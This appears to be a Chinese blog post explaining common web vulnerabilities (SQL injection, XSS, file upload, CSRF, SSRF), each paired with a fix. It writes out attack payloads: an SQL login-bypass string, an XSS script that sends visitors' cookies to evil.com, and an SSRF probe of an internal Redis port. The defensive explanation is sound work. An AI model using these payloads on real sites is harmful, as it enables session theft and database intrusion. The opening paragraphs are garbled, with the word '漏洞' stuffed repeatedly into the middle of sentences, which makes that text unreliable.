常见的漏洞Web漏洞有哪些

一个没打补丁的旧版Apache服务器，暴露在公网上，漏洞三天内被扫描器光顾了四千多次。漏洞这不是漏洞科幻片，是漏洞我上周帮朋友排查服务器日志时看到的真实数字。Web漏洞不是漏洞教科书里的名词，它们是漏洞活生生的攻击路径，每一条都能让数据裸奔。漏洞

先说说SQL注入。漏洞这玩意儿老得掉牙，漏洞但依然排在OWASP Top 10的漏洞前列。原理简单到令人发指：开发者把用户输入直接拼进SQL查询语句。漏洞比如登录框里输入' OR 1=1 --，漏洞如果后端没过滤，漏洞查询就变成了SELECT * FROM users WHERE username='' OR 1=1 --' AND password='...'。漏洞注释符把后面的密码校验直接废掉，攻击者连密码都不用猜。我见过一个电商后台，商品搜索框存在注入点，攻击者用UNION SELECT把整个用户表的密码哈希拖走了。修复方式也直白——用参数化查询，别偷懒拼字符串。

XSS（跨站脚本攻击）是另一类常客。它不攻击服务器，而是攻击访问网站的用户。攻击者在评论区或表单里塞一段JavaScript，比如<script>document.location='http://evil.com/?cookie='+document.cookie</script>。其他用户一打开页面，脚本就执行，把他们的会话Cookie送到攻击者的服务器。更阴险的是存储型XSS，脚本永久留在数据库里，每个访问者都中招。我调试过一个论坛，帖子标题没做转义，导致整个板块的页面都弹恶意弹窗。防御核心就一句话：输出编码，别信任任何用户输入。

文件上传漏洞则更直接。有些网站允许用户传头像、传附件，但没仔细校验文件类型。攻击者上传一个.php文件，文件名伪装成avatar.jpg.php，服务器如果没禁用执行权限，这个文件就能被远程访问，直接执行任意代码。更狠的是上传.htaccess或web.config来篡改服务器配置。我见过一个案例，攻击者上传了一个图片马——文件头是GIF89a，但后面嵌入了PHP代码，配合文件包含漏洞，成功getshell。防范方法包括白名单校验扩展名、检查MIME类型、重命名文件、隔离存储目录并禁止脚本执行。

CSRF（跨站请求伪造）攻击则利用的是身份认证的信任。用户登录了银行网站，浏览器里带着有效的Session Cookie。攻击者构造一个恶意页面，里面藏着一个自动提交的请求，比如转账操作。只要用户点开这个页面，浏览器就会带着Cookie发出请求，服务器以为是用户本人操作。防CSRF最常用的手段是加随机Token，每次请求都校验，或者检查Referer头。

还有一类容易被忽视的是SSRF（服务端请求伪造）。攻击者让服务器自己去访问内网资源。比如一个图片处理功能，允许用户传入URL，服务器去抓取图片。如果没做限制，攻击者传入http://127.0.0.1:6379，就能探测内网Redis端口。更严重的情况，结合Gopher协议还能操作内网服务。修复要点是限制目标地址，禁止内网IP和特殊协议。

别以为这些漏洞离你很远。我见过不少开发者的代码，过滤函数写了一堆，但总漏掉某个编码绕过。攻击者不是天才，他们只是比你更熟悉你用的框架和中间件的默认配置。安全不是某个环节的事，是每一行代码的责任。写完功能后，花十分钟想想：如果我是坏人，怎么破坏这个输入？